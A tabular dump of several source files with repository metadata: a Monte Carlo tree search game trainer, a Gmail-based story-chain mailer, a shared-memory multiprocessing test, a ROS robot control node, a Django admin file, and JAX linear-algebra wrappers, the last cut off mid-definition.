blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0dcf83210fc7b8fd635949e29c1c1f76450b0d2b | 98161af1d00f76fee3c6634ecd82badad10a3287 | /PG/pg_mcts.py | fb91bed10d53e6fc23794cf6157e135a158e37de | [] | no_license | joeleung00/DRL-for-Crack-Attack | 6e18e6c7a91fc66f485a9eb0d628e5d6daf09f3f | 1e5aabdc4c48dda0b7a05c4af98206c2608ca9b2 | refs/heads/master | 2022-09-16T21:14:37.296442 | 2020-05-28T07:11:32 | 2020-05-28T07:11:32 | 216,518,374 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,599 | py | import random
import sys
import math
from copy import copy, deepcopy
import sys
sys.path.insert(1, '../game_simulation')
sys.path.insert(1, '../cnn')
from GameBoard import GameBoard
from GameCLI import Game
from parameters import Parameter
from policy_net import Net
import pickle
from collections import deque
import numpy as np
import torch
import multiprocessing
network_path = "./network/"
train_data_path = './train_data/'
NUM_OF_COLOR = Parameter.NUM_OF_COLOR
ROW_DIM = Parameter.ROW_DIM
COLUMN_DIM = Parameter.COLUMN_DIM
C = 500
MAX_ROUND_NUMBER = Parameter.MAX_ROUND_NUMBER
TAU = 0.5 ## cannot be zero
MAX_ROLLOUT_ROUND_NUMBER = 3
GAMMA_RATE = 0.8
## train an episode per iteration
TRAIN_ITERATION = 11
EPISODE_PER_ITERATION = 150
SAVE_MODEL_PERIOD = 10
DATA_SIZE_PER_TRAIN = 50
NUM_OF_PROCESSES = Parameter.NUM_OF_PROCESSES
COMPUTATION_BUDGET = 150
replay_memory = deque(maxlen = 100000)
net = Net()
class Node:
def __init__(self, state, parent = None):
self.parent = parent
self.child = {}
self.visited_times = 0
## Q-value is the expected reward of the next actions, not counting reward come from this state
self.quality_value = 0.0
self.state = state
self.policy_probi = {}
def is_all_expanded(self):
return len(self.child) == self.state.num_available_choices
def add_child(self, node, child_id):
self.child[child_id] = node
class State:
def __init__(self, board, round_index, cumulative_choices, num_available_choices = 0, action_reward = 0):
self.current_board = deepcopy(board)
self.current_round_index = round_index
self.cumulative_choices = deepcopy(cumulative_choices)
self.num_available_choices = num_available_choices
self.action_reward = action_reward
def is_terminal(self, rollout = False):
## Add one more case - check is there any possible move?
if not rollout:
max_round = MAX_ROUND_NUMBER
else:
max_round = MAX_ROLLOUT_ROUND_NUMBER
if self.current_round_index == max_round:
return True
elif self.num_available_choices == 0:
return True
else:
return False
def compute_reward(self, simulation_board):
return simulation_board.score
def get_next_state_with_random_choice(self, simulation_board, exclude=None):
## AVAILABLE_CHOICES is a double integer tupple list
available_choices = simulation_board.get_available_choices()
random_choice = random.choice(available_choices)
child_id = flatten_action(random_choice)
if exclude != None:
while flatten_action(random_choice) in exclude:
random_choice = random.choice(available_choices)
child_id = flatten_action(random_choice)
## going to create new state
action_reward = simulation_board.proceed_next_state(random_choice[0], random_choice[1])
available_choices = simulation_board.get_available_choices()
next_state = State(simulation_board.board, self.current_round_index + 1,
self.cumulative_choices + [random_choice], len(available_choices), action_reward)
return next_state, child_id
def get_next_best_state(self, simulation_board):
available_choices = simulation_board.get_available_choices()
best_choice = available_choices[0]
best_score = 0
for choice in available_choices:
tmp_board = GameBoard(simulation_board.board, simulation = True)
score = tmp_board.proceed_next_state(choice[0], choice[1])
if score > best_score:
best_score = score
best_choice = choice
action_reward = simulation_board.proceed_next_state(best_choice[0], best_choice[1])
available_choices = simulation_board.get_available_choices()
next_state = State(simulation_board.board, self.current_round_index + 1,
self.cumulative_choices + [best_choice], len(available_choices), action_reward)
return next_state
def get_choice(self):
return self.cumulative_choices[-1]
def net_index2action_index(index):
offset = index // (COLUMN_DIM - 1)
return index + offset
def action_index2net_index(index):
offset = index // COLUMN_DIM
return index - offset
def pre_process_features(raw_board):
onehot = np.zeros((NUM_OF_COLOR, ROW_DIM, COLUMN_DIM))
for row in range(ROW_DIM):
for col in range(COLUMN_DIM):
color = raw_board[row][col]
onehot[int(color), row, col] = 1
return onehot
def flatten_action(action):
return action[0] * COLUMN_DIM + action[1]
def deflatten_action(action):
return action // COLUMN_DIM, action % COLUMN_DIM
def pre_process_features(raw_board):
onehot = np.zeros((NUM_OF_COLOR, ROW_DIM, COLUMN_DIM))
for row in range(ROW_DIM):
for col in range(COLUMN_DIM):
color = raw_board[row][col]
onehot[int(color), row, col] = 1
return onehot
def get_action(current_state):
onehot_current_state = pre_process_features(current_state)
onehot_current_state = torch.from_numpy(onehot_current_state).type(torch.float32)
with torch.no_grad():
probi = net(onehot_current_state.unsqueeze(0)) ## output is a qvalue tensor for all actionss(size of 72)
value, index = torch.max(probi[0], 0)
#print(value)
return net_index2action_index(index.item())
def tree_policy(node):
# Check if the current node is the leaf node
while node.state.is_terminal() == False:
if node.is_all_expanded():
node = best_child(node, True)
else:
# Return the new sub node
sub_node = expand(node)
#print(node.state.current_board)
return sub_node
# Return the leaf node
return node
def default_policy(node):
# Get the state of the game
current_state = node.state
## pre_process_features:
onehot_board = pre_process_features(current_state.current_board)
onehot_current_state = torch.from_numpy(onehot_board).type(torch.float32)
with torch.no_grad():
probi = net(onehot_current_state.unsqueeze(0))
probi = probi[0]
for i, value in enumerate(probi):
action_index = net_index2action_index(i)
node.policy_probi[action_index] = value.item()
## return a rollout value
simulation_board = GameBoard(current_state.current_board)
for i in range(MAX_ROLLOUT_ROUND_NUMBER):
##pick an action
choice = get_action(simulation_board.board)
choice2d = deflatten_action(choice)
simulation_board.proceed_next_state(choice2d[0], choice2d[1])
return simulation_board.score
def expand(node):
child_node_state_set = set()
for key in node.child:
child_node_state_set.add(key)
simulation_board = GameBoard(node.state.current_board)
new_state, child_id = node.state.get_next_state_with_random_choice(simulation_board, exclude=child_node_state_set)
# Check until get the new state which has the different action from others
# while new_state in tried_sub_node_states:
# new_state = node.state.get_next_state_with_random_choice()
sub_node = Node(parent=node, state=new_state)
node.add_child(sub_node, child_id)
return sub_node
def best_child(node, is_exploration):
# TODO: Use the min float value
best_score = -sys.maxsize
best_sub_node = None
probi = np.zeros(len(node.child))
child_list_index = np.zeros(len(node.child))
sum = 0
# Travel all sub nodes to find the best one
for i, key in enumerate(node.child):
sub_node = node.child[key]
child_list_index[i] = key
# Ignore exploration for sinference
if is_exploration:
# old: UCB = quality / times + C * sqrt(2 * ln(total_times) / times)
# C = 1 / math.sqrt(2.0)
# left = sub_node.quality_value / sub_node.visited_times
# right = 2.0 * math.log(node.visited_times) / sub_node.visited_times
# score = left + C * math.sqrt(right)
## new: a = argmax(a) quality + C * P(a|s) / (1 + N(a|s))
left = sub_node.quality_value
right = C * node.policy_probi[key] / (1 + sub_node.visited_times)
score = left + right
if score > best_score:
best_sub_node = sub_node
best_score = score
else:
#score = sub_node.visited_times ** (1/TAU)
probi[i] = sub_node.visited_times ** (1/TAU)
sum += probi[i]
# if not is_exploration:
# probi /= sum
# cu_sum = np.cumsum(probi)
# rand = random.random()
# for i, value in enumerate(cu_sum):
# if rand <= value:
# key = child_list_index[i]
# best_sub_node = node.child[key]
# best_i = i
# break
# if not is_exploration:
# best_sub_node = get_best_child(node)
if is_exploration:
#print(best_score)
# if right > 1:
# print("left: " + str(left))
#
# print("right: " + str(right))
return best_sub_node
else:
probi /= sum
best_i = np.random.choice(range(len(probi)), p=probi)
key = child_list_index[best_i]
best_sub_node = node.child[key]
#print(probi[best_i])
return best_sub_node
def backup(node, reward):
node.quality_value = reward + node.state.action_reward
node.visited_times = 1
## this reward in the respective of parent node
reward = GAMMA_RATE * node.quality_value
node = node.parent
# Update util the root node
while node != None:
# Update the visit times
node.visited_times += 1
# Update the quality value
node.quality_value += (1/node.visited_times) * (reward + node.state.action_reward - node.quality_value)
## this reward in the respective of parent node
reward = GAMMA_RATE * reward
# Change the node to the parent node
node = node.parent
# def backup(node, reward):
#
# node.quality_value = reward + node.state.action_reward
# node.visited_times = 1
# reward = node.quality_value
# node = node.parent
#
# # Update util the root node
# while node != None:
# # Update the visit times
# node.visited_times += 1
#
# # Update the quality value
# new_quality = reward + node.state.action_reward
# if new_quality > node.quality_value:
# node.quality_value = new_quality
#
# reward = GAMMA_RATE * node.quality_value
# # Change the node to the parent node
# node = node.parent
def monte_carlo_tree_search(node):
computation_budget = COMPUTATION_BUDGET
# Run as much as possible under the computation budget
for i in range(computation_budget):
# 1. Find the best node to expand
expand_node = tree_policy(node)
# 2. Random run to add node and get reward
reward = default_policy(expand_node)
# 3. Update all passing nodes with reward
backup(expand_node, reward)
# N. Get the best next node
best_next_node = best_child(node, False)
#print("my quality_value :" + str(node.quality_value))
return best_next_node
def get_best_child(node):
best_quality_value = -sys.maxsize
best_child = None
for key in node.child:
if node.child[key].quality_value > best_quality_value:
best_quality_value = node.child[key].quality_value
best_child = node.child[key]
return best_child
def load_net(number):
net.load_state_dict(torch.load(network_path + "network" + number + ".pth"))
def save_net(net, number):
net_name = "net" + str(number) + ".pth"
torch.save(net.state_dict(), network_path + net_name)
def save_train_data(train_data, number, name=None):
if name == None:
fullpathname = train_data_path + "data" + str(number)
else:
fullpathname = train_data_path + "data_" + name + "_" + str(number)
fd = open(fullpathname, 'wb')
pickle.dump(train_data, fd)
def load_train_data(number):
global replay_memory
fullpathname = train_data_path + "data" + str(number)
fd = open(fullpathname, 'rb')
replay_memory = pickle.load(fd)
def get_batch_from_memory():
## min_batch are all python data type (state, action, reward)
train_data = random.sample(replay_memory, DATA_SIZE_PER_TRAIN)
## they are batch states
states = np.zeros((DATA_SIZE_PER_TRAIN, ROW_DIM, COLUMN_DIM)).astype(int)
actions = []
rewards = []
for i, value in enumerate(train_data):
states[i] = value[0]
actions.append(value[1])
rewards.append(value[2])
## return data are all ten
return (states, actions, rewards)
def init_first_node(gameboard):
num_available_choices = len(gameboard.get_available_choices())
init_state = State(gameboard.board, 0, [], num_available_choices)
root_node = Node(state=init_state)
## init visited_times, quality_value, policy_probi
onehot_board = pre_process_features(gameboard.board)
onehot_current_state = torch.from_numpy(onehot_board).type(torch.float32)
with torch.no_grad():
probi = net(onehot_current_state.unsqueeze(0))
probi = probi[0]
for i, value in enumerate(probi):
action_index = net_index2action_index(i)
root_node.policy_probi[action_index] = value.item()
root_node.visited_times = 1
root_node.quality_value = 0
return root_node
def policy_iteration(start_iteration=0):
## list of [state, action, reward]
pool = multiprocessing.Pool(processes = NUM_OF_PROCESSES)
for i in range(start_iteration, TRAIN_ITERATION):
# for j in range(EPISODE_PER_ITERATION):
# train_data = run_episode()
train_data = pool.map(thread_thunk, range(NUM_OF_PROCESSES))
for value in train_data:
replay_memory.extend(value)
print("size of replay_memory: " + str(len(replay_memory)))
print("Finish " + str((i + 1) * EPISODE_PER_ITERATION) + " episode")
if len(replay_memory) >= DATA_SIZE_PER_TRAIN:
states, actions, rewards = get_batch_from_memory()
net.train(states, actions, rewards)
if i % SAVE_MODEL_PERIOD == 0 and i != 0:
save_net(net, i)
save_train_data(replay_memory, i)
def policy_iteration_get_data(name, start_iteration=0):
for i in range(start_iteration, TRAIN_ITERATION):
for j in range(EPISODE_PER_ITERATION):
train_data = run_episode()
replay_memory.extend(train_data)
print("Finish " + str((i + 1) * EPISODE_PER_ITERATION) + " episode")
if i % SAVE_MODEL_PERIOD == 0 and i != 0:
save_train_data(replay_memory, i, name)
def thread_thunk(useless):
train_data = []
for i in range(EPISODE_PER_ITERATION // NUM_OF_PROCESSES):
train_data.extend(run_episode())
return train_data
def run_episode():
train_data = []
game = Game(show = False)
current_node = init_first_node(game.gameboard)
while not game.termination():
current_node = monte_carlo_tree_search(current_node)
choice = current_node.state.get_choice()
flat_choice = flatten_action(choice)
net_index = action_index2net_index(flat_choice)
one_data = [deepcopy(game.gameboard.board), net_index, 0]
state, reward = game.input_pos(choice[0], choice[1])
one_data[2] = reward
train_data.append(one_data)
## correct the reward
for i in reversed(range(len(train_data) - 1)):
train_data[i][2] += GAMMA_RATE * train_data[i + 1][2]
return train_data
if __name__ == "__main__":
if len(sys.argv) != 2 and len(sys.argv) != 3:
print("enter your mode:")
print("new or continue(number) or getdata name(number)")
exit(0)
mode = sys.argv[1]
if mode != "new" and not mode.isdigit() and mode != "getdata":
print("Undefined mode!!")
exit(0)
if mode == "new":
#load_net("3")
policy_iteration()
elif mode == "getdata":
name = sys.argv[2]
if not name.isdigit():
print("Undefined name!!")
exit(0)
policy_iteration_get_data(name)
else:
load_train_data(int(mode))
load_net(int(mode))
policy_iteration(int(mode))
| [
"joeleung00@gmail.com"
] | joeleung00@gmail.com |
987e31305b1cc7f071b646a09fda38217bed64cd | 7a40b3a8d6e3ff8c7beb7f07459ade7e828696df | /mailer.py | a0309208527394c7fe5dc0973cbd5d4a3ee94d95 | [] | no_license | kpj/WAM | 02ec3bab643252488557f559b368308aa6ec109c | 47e1a5e7eefdd8a34464d232108897665a5eef5a | refs/heads/master | 2021-01-10T20:36:01.338988 | 2011-12-14T13:39:21 | 2011-12-14T13:39:21 | 2,919,367 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,446 | py | ###############################################
# #
# Send SIGUSR1 to update the subscribe-list #
# example: killall -USR1 python #
# #
###############################################
import smtplib, imaplib, getpass, logging, signal
import email, email.mime.text, email.Iterators, email.header
import time, sys, random, math, re
# Enable logging
level = logging.INFO
log = logging.getLogger(sys.argv[0])
log.setLevel(level)
ch = logging.StreamHandler()
ch.setLevel(level)
formatter = logging.Formatter("%(asctime)s - %(message)s")
ch.setFormatter(formatter)
log.addHandler(ch)
class signalHandler(object):
def __init__(self, sig, func):
self.func = func
signal.signal(sig, self.handler)
def handler(self, signum, frame):
log.info("Executed function...")
self.func()
class getData(object):
def __init__(self):
self.fileWithMails = 'mails.txt'
self.fd = open(self.fileWithMails, 'a+')
def genMailList(self):
lines = self.fd.read()
mailList = lines.split('\n')
for i in range(len(mailList)):
try:
mailList.remove('')
except ValueError:
pass
return mailList
class mailer(object):
def __init__(self, address, passwd):
self.__address = address
self.__passwd = passwd
self.send_server = smtplib.SMTP('smtp.gmail.com', 587)
self.send_server.ehlo()
self.send_server.starttls()
self.send_server.ehlo()
self.send_server.login(self.__address, self.__passwd)
self.recv_server = imaplib.IMAP4_SSL("imap.googlemail.com")
self.recv_server.login(self.__address, self.__passwd)
self.recv_server.select()
def sendMail(self, subject, content, target):
msg = email.mime.text.MIMEText(content, 'plain', 'utf-8')
msg['Subject'] = subject
msg['From'] = self.__address
msg['To'] = target
self.send_server.sendmail(self.__address, target, msg.as_string())
def getMail(self, subject, delete = True):
self.recv_server.select()
typ, data = self.recv_server.search(None, 'SUBJECT', '"%s"' % (subject))
output = []
for num in data[0].split():
# m.get_body(email.message_from_string(m.g(1)[0][1]))
typ, data = self.recv_server.fetch(num, '(RFC822)')
mail = email.message_from_string(data[0][1])
content = self.get_body(mail)
output.append(content)
if delete:
self.recv_server.store(num, '+FLAGS', r'(\Deleted)')
return output
def getHeader(self, num):
h = self.recv_server.fetch(num, '(BODY[HEADER])')
header_text = h[1][0][1]
parser = email.parser.HeaderParser()
head = parser.parsestr(header)
return head
def get_charset(self, message, default="ascii"):
if message.get_content_charset():
return message.get_content_charset()
if message.get_charset():
return message.get_charset()
return default
def get_body(self, message):
if message.is_multipart():
text_parts = [part for part in email.Iterators.typed_subpart_iterator(message, 'text', 'plain')]
body = []
for part in text_parts:
charset = self.get_charset(part, self.get_charset(message))
body.append(unicode(part.get_payload(decode=True), charset, "replace"))
return u"\n".join(body).strip()
else:
body = unicode(message.get_payload(decode=True), self.get_charset(message), "replace")
return body.strip()
def __del__(self):
self.send_server.close()
self.recv_server.close()
class useful(object):
def __init__(self):
pass
def genRandID(self, fromInt, toInt = -1):
if toInt == -1:
toInt = fromInt
tmp = ""
for i in range(random.randint(fromInt,toInt)):
tmp += str(random.randint(0,9))
return int(tmp)
class story(object):
def __init__(self, identity):
self.openFile = 'story.txt'
self.story = []
self.fd = open(self.openFile, 'a+')
self.story = [line.replace('\n','').decode('utf-8') for line in self.fd.readlines()]
self.identity = identity
def setID(self, ID):
self.identity = ID
def append(self, text):
text = text.replace('\n', '')
self.story.append(text)
text = text.encode('utf-8')
print >> self.fd, text
self.fd.flush()
def printStory(self):
print '\n'.join(self.story)
def lastPhrase(self):
try:
return self.story[-1]
except IndexError:
return 'Kein letzter Satz.'
def __del__(self):
self.printStory()
self.fd.close()
class looper(object):
def __init__(self):
self.ownMail = 'kpjkpjkpjkpjkpjkpj@googlemail.com'
self.u = useful()
self.m = mailer('kpjkpjkpjkpjkpjkpj+WAM@googlemail.com', getpass.getpass())
self.g = getData()
self.runInterval = 2 # in seconds
self.subject = 'WAM - Write and Mail'
self.content = '\n'.join([
'Hey,',
'schoen, dass du mitspielst!',
'Antworte einfach und schreibe entweder ueber,',
'oder unter diesem Abschnitt.',
'(Am Besten mit ein paar Leerzeilen ;))',
'Der vorhergehende Satz war:',
'',
'%s',
'',
'Viel Spasz wuenscht kpj',
])
self.genSubscribers()
self.s = signalHandler(signal.SIGUSR1, self.genSubscribers)
self.gotThisMail = []
self.gotLastMail = []
self.story = story(self.u.genRandID(5,10))
self.currentSubject = '%s (%i)' % (self.subject, self.story.identity)
def genSubscribers(self):
self.subscriber = self.g.genMailList()
self.num2Send = int(math.ceil(float(len(self.subscriber))/3))
def getRecipient(self):
for x in range(self.num2Send):
recipient = random.choice(self.subscriber)
while recipient in self.gotLastMail or recipient in self.gotThisMail:
if len(self.gotLastMail) == len(self.subscriber):
log.debug("Only one email-address ?!")
break
recipient = random.choice(self.subscriber)
self.gotThisMail.append(recipient)
self.gotLastMail = self.gotThisMail[:] # Really create new list
self.gotThisMail = []
return self.gotLastMail
def getStory(self, mail):
m = mail.split('\n')
comment_pattern = '>'
# Just always delete my own address:
for i in range(len(m)):
if self.ownMail in m[i]:
m.remove(m[i])
break
pos = -1
hadComment = False
for p in m:
pos += 1
if comment_pattern in p:
hadComment = True
break
if hadComment:
m.pop(pos-1)
toDel = []
for i in range(len(m)):
if comment_pattern in m[i]:
toDel.append(m[i])
for i in toDel:
m.remove(i)
for i in range(len(m)):
try:
m.remove('')
except ValueError:
pass
m.remove('\r')
mail = '\n'.join(m)
return mail
def sendMails(self):
for recipient in self.getRecipient():
log.info("Sending mail to %s" % recipient)
self.m.sendMail(self.currentSubject,
self.content % (
self.story.lastPhrase()),
recipient)
def start(self):
self.sendMails()
while True:
mails = []
while True:
log.debug("Receiving mails (%s)" % repr(self.currentSubject))
mails = self.m.getMail(self.currentSubject)
if mails:
log.info("Received 1 mail" if len(mails) == 1 else "Received %i mails"%len(mails))
break
else:
log.debug("Received 0 mails")
time.sleep(self.runInterval)
self.story.setID(self.u.genRandID(5,10))
self.currentSubject = '%s (%i)' % (self.subject, self.story.identity)
content = ''.join(self.getStory(mails[0]))
self.story.append(content)
self.sendMails()
def __del__(self):
pass
looper().start()
#getData().genMailList()
#m=mailer('kpjkpjkpjkpjkpjkpj+WAM@googlemail.com', getpass.getpass())
#l = looper()
# vim: autoindent:
| [
"kpjkpjkpjkpjkpjkpj@googlemail.com"
] | kpjkpjkpjkpjkpjkpj@googlemail.com |
f5c9a73d8b790153413ae5e3b3afae4b84702db1 | 3d30cf9c7837f0570dec13da02564fad0671f7ae | /src/multiprocessed/error_investigation/this_gives_fnf_error_withOrWithout_manager.py | 9497bccad7fae4955d8cedf61afc6cc5c32ec88f | [] | no_license | phil-shenk/erosion | 6045cb902698aa89ff472ae1d0253a320b93a3fc | e8bf8580aa5452b20b93b4513dd73e5c074bfd7c | refs/heads/master | 2023-02-16T18:56:53.582280 | 2021-01-11T06:49:03 | 2021-01-11T06:49:03 | 287,793,223 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,693 | py | import numpy as np
import multiprocessing
#from multiprocessing import shared_memory
from multiprocessing.shared_memory import SharedMemory
from multiprocessing.managers import SharedMemoryManager
import matplotlib.pyplot as plt
def initialize_shared_ndarray_for_reading(shape):
# make an array to store terrain
init_grid = np.random.normal(0, 1, shape)
#print(init_grid)
# create a section of shared memory of the same size as the grid array
with SharedMemoryManager() as smm:
#shm = shared_memory.SharedMemory(create=True, size=init_grid.nbytes)
shm = smm.SharedMemory(size=init_grid.nbytes)
# create another ndarray of the same shape & type as grid, backed by shared memory
prev_grid = np.ndarray(init_grid.shape, dtype=init_grid.dtype, buffer=shm.buf)
np.copyto(prev_grid, init_grid)
print("shared array",shm.name,"has been initialized")
return shm.name, init_grid.shape, init_grid.dtype
def read_from_shared(x,y,shm_name, shm_shape, shm_dtype):
print("SWONEEE")
# Locate the shared memory by its name
shm = SharedMemory(shm_name)
# Create the np.recarray from the buffer of the shared memory
np_array = np.recarray(shape=shm_shape, dtype=shm_dtype, buf=shm.buf)
return np.nansum(np_array.val)
"""
print("swine",x,y,shared_ndarray_name)
print("attempting to get reference to shared memory",shared_ndarray_name)
shared_arr = shared_memory.SharedMemory(name=shared_ndarray_name)
print('swane AA!!!')
for i in range(-5,6):
for j in range(-5,6):
print("guzzle",end="")
print(shared_arr[(x+i)%400][(y+j)%400])
print('read from',x,y)
"""
def pool_read(name, shm_shape, shm_dtype):
# Create a multiprocessing Pool
pool = multiprocessing.Pool(2)
# read multiple times with specified args
args = [(19,53,name, shm_shape, shm_dtype),(35,52,name, shm_shape, shm_dtype),(24,63,name, shm_shape, shm_dtype),(7,86,name, shm_shape, shm_dtype)]
pool.starmap(read_from_shared, args)
# parallelized portion is finished, close the pool
# not sure if this is entirely necessary here
print("closing pool...")
#pool.close()
#print("pool closed")
pool.join()
print("pool joined")
def main():
# initialize a shared 400x400 ndarray called "prev_grid"
name, shm_shape, shm_dtype = initialize_shared_ndarray_for_reading((400,400))
print("initialized ndarray memory named",name)
# read without pool
#read_from_shared(51,25,name, shm_shape, shm_dtype
# everyone get in the pool to read
pool_read(name, shm_shape, shm_dtype)
if __name__== '__main__':
main() | [
"shenk.philip@gmail.com"
] | shenk.philip@gmail.com |
466abeb5379b00a0e982d6cb3a40a44efd641980 | 6e0286c37278848f635b68fc675758cf44fe5837 | /money/admin.py | c82b45b2c9d92ba006a62a61422094f69bbaab84 | [] | no_license | davidbonnaud/monthly-money-tracker | 98846f8702edc2c88db57ba0b26bf9c2e9f97383 | ebf7464d7ba5cbd221d914034da8cda557e06509 | refs/heads/master | 2023-04-20T11:44:58.858901 | 2021-05-04T12:03:56 | 2021-05-04T12:03:56 | 364,242,198 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 167 | py | from django.contrib import admin
from .models import Transaction, Balance
admin.site.register(Balance)
admin.site.register(Transaction)
# Register your models here.
| [
"david@davidbonnaud.com"
] | david@davidbonnaud.com |
71d2a13f8caafddcea1f116f0df66bf877ac26e0 | 49eaaf069da00421918dd15f66bc5a02cbc2245a | /csp_bluetooth_demo/src/csp_bluetooth_demo_node.py | abf53f59d88a50532538a4ded29cb67a071fdc6b | [] | no_license | YuryXW/csp_bluetooth_practice | 471a73eded83c93887f9776404a9a90b9949c3d4 | afbef42b66353fa6461d19b4dcea994008112042 | refs/heads/master | 2021-08-19T08:01:13.278075 | 2017-11-25T10:58:48 | 2017-11-25T10:58:48 | 110,141,487 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 3,711 | py | #!/usr/bin/env python
## @package docstring
# This is the typical ROS template node for python.
#
import rospy
import sys
import signal
from std_msgs.msg import String
from duckietown_msgs.msg import Twist2DStamped
from duckietown_msgs.msg import BoolStamped
from std_msgs.msg import Header
#--------------------------------- Constants ----------------------------------#
TAG = "CSP Bluetooth Demo:" ## Node verbosity tag
node_name = "bluetooth_demo_node" ## ROS node name
#------------------------------------------------------------------------------#
## Application class
#
class Application:
# Current speed and omega
v = 0.0
omega = 0.0
v_const = 0
## Init function
# @param self The object pointer.
def __init__(self):
# Assigning the SIGINT handler
signal.signal(signal.SIGINT, self.sigint_handler)
# Starting the node
rospy.init_node(node_name, anonymous=True)
# Subscribing to bluetooth_bridge output
rospy.Subscriber("/bluetooth/received", String, self.message_handler)
rospy.Subscriber("stop_line_filter_node/at_stop_line", BoolStamped, self.stop_line_handler)
# Publishers
self.cmd_pub = rospy.Publisher("joy_mapper_node/car_cmd", Twist2DStamped, queue_size = 10)
self.bt_pub = rospy.Publisher("/bluetooth/send", String, queue_size = 10)
# Run the node in eternal loop
rospy.spin()
## SIGINT Signal handler
# @param self The object pointer.
# @param signal The signal itself.
# @param frame The timeframe signal occured.
def sigint_handler(self, signal, frame):
print ""
print TAG,"Interrupt!"
print TAG,"Terminated"
sys.exit(0)
## Handling messages obtained from bluetooth_bridge
def message_handler(self, message):
s = message.data
msgs = s.split(";")
for msg in msgs:
# Ordering robot to GO - move forward at constant speed
if (msg=="GO"):
print msg
self.v_const = 0.4
# Ordering robot to stop
elif (msg=="STOP"):
print msg
self.v_const = 0.0
self.v = 0.0
else:
# Controlling robot with Roll and Pitch values from accelerometer
c_msg = msg.split(":")
# Try to invert these values
if c_msg[0]=="Roll": # Roll controls omega
self.omega = (float(c_msg[1])/90.0)*8.0
if c_msg[0]=="Pitch": # Pitch controls velocity
self.v = (float(c_msg[1])/90.0)
# Let's send a message now via bluetooth_bridge
h = Header()
h.stamp = rospy.Time.now()
topic_message = Twist2DStamped()
topic_message.v = self.v+self.v_const #Velocity is a sum of constant speed (in case of GO)
#and a variable speed from accelerometer.
topic_message.omega = self.omega
if topic_message.v > 1.0: #Do not let the velocity exceed -1.0..1.0 range.
topic_message.v = 1.0
if topic_message.v < -1.0:
topic_message.v = -1.0
self.cmd_pub.publish(topic_message) #Publish the topic to bluetooth_bridge
# Handling the Stop Line detection
def stop_line_handler(self, data):
print "STOP LINE DETECTED!"
self.bt_pub.publish("VIBRATE")
#------------------------------------- Main -----------------------------------#
if __name__ == '__main__':
print TAG,"Started"
app = Application()
print TAG,"Terminated"
| [
"SoulCrash@yandex.ru"
] | SoulCrash@yandex.ru |
bc03d8274188df69eac85d025d78dbfa59a16efd | 42321745dbc33fcf01717534f5bf7581f2dc9b3a | /lab/jax/linear_algebra.py | 618778d388a9415d7318fdcb5ef3dd6f36ac76e4 | [
"MIT"
] | permissive | talayCh/lab | 0a34b99fd60bc65fdfd1ead602d94dfb6b96f846 | 4ce49b68782a1ef8390b14ee61f57eeaa13070cf | refs/heads/master | 2023-08-25T04:42:06.904800 | 2021-11-01T18:22:00 | 2021-11-01T18:22:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,756 | py | import logging
from typing import Union, Optional
import jax.numpy as jnp
import jax.scipy.linalg as jsla
from . import dispatch, B, Numeric
from .custom import jax_register
from ..custom import (
toeplitz_solve,
i_toeplitz_solve,
s_toeplitz_solve,
i_s_toeplitz_solve,
expm,
i_expm,
s_expm,
i_s_expm,
logm,
i_logm,
s_logm,
i_s_logm,
)
from ..linear_algebra import _default_perm
from ..types import Int
from ..util import batch_computation
__all__ = []
log = logging.getLogger(__name__)
@dispatch
def matmul(a: Numeric, b: Numeric, tr_a: bool = False, tr_b: bool = False):
a = transpose(a) if tr_a else a
b = transpose(b) if tr_b else b
return jnp.matmul(a, b)
@dispatch
def transpose(a: Numeric, perm: Optional[Union[tuple, list]] = None):
# Correctly handle special cases.
rank_a = B.rank(a)
if rank_a == 0:
return a
elif rank_a == 1 and perm is None:
return a[None, :]
if perm is None:
perm = _default_perm(a)
return jnp.transpose(a, axes=perm)
@dispatch
def trace(a: Numeric, axis1: Int = -2, axis2: Int = -1):
return jnp.trace(a, axis1=axis1, axis2=axis2)
@dispatch
def svd(a: Numeric, compute_uv: bool = True):
res = jnp.linalg.svd(a, full_matrices=False, compute_uv=compute_uv)
return (res[0], res[1], jnp.conj(transpose(res[2]))) if compute_uv else res
@dispatch
def eig(a: Numeric, compute_eigvecs: bool = True):
vals, vecs = jnp.linalg.eig(a)
return (vals, vecs) if compute_eigvecs else vals
@dispatch
def solve(a: Numeric, b: Numeric):
return jnp.linalg.solve(a, b)
@dispatch
def inv(a: Numeric):
return jnp.linalg.inv(a)
@dispatch
def det(a: Numeric):
return jnp.linalg.det(a)
@dispatch
def logdet(a: Numeric):
return jnp.linalg.slogdet(a)[1]
_expm = jax_register(expm, i_expm, s_expm, i_s_expm)
@dispatch
def expm(a: Numeric):
return _expm(a)
_logm = jax_register(logm, i_logm, s_logm, i_s_logm)
@dispatch
def logm(a: Numeric):
return _logm(a)
@dispatch
def _cholesky(a: Numeric):
return jnp.linalg.cholesky(a)
@dispatch
def cholesky_solve(a: Numeric, b: Numeric):
return triangular_solve(transpose(a), triangular_solve(a, b), lower_a=False)
@dispatch
def triangular_solve(a: Numeric, b: Numeric, lower_a: bool = True):
def _triangular_solve(a_, b_):
return jsla.solve_triangular(
a_, b_, trans="N", lower=lower_a, check_finite=False
)
return batch_computation(_triangular_solve, (a, b), (2, 2))
_toeplitz_solve = jax_register(
toeplitz_solve, i_toeplitz_solve, s_toeplitz_solve, i_s_toeplitz_solve
)
@dispatch
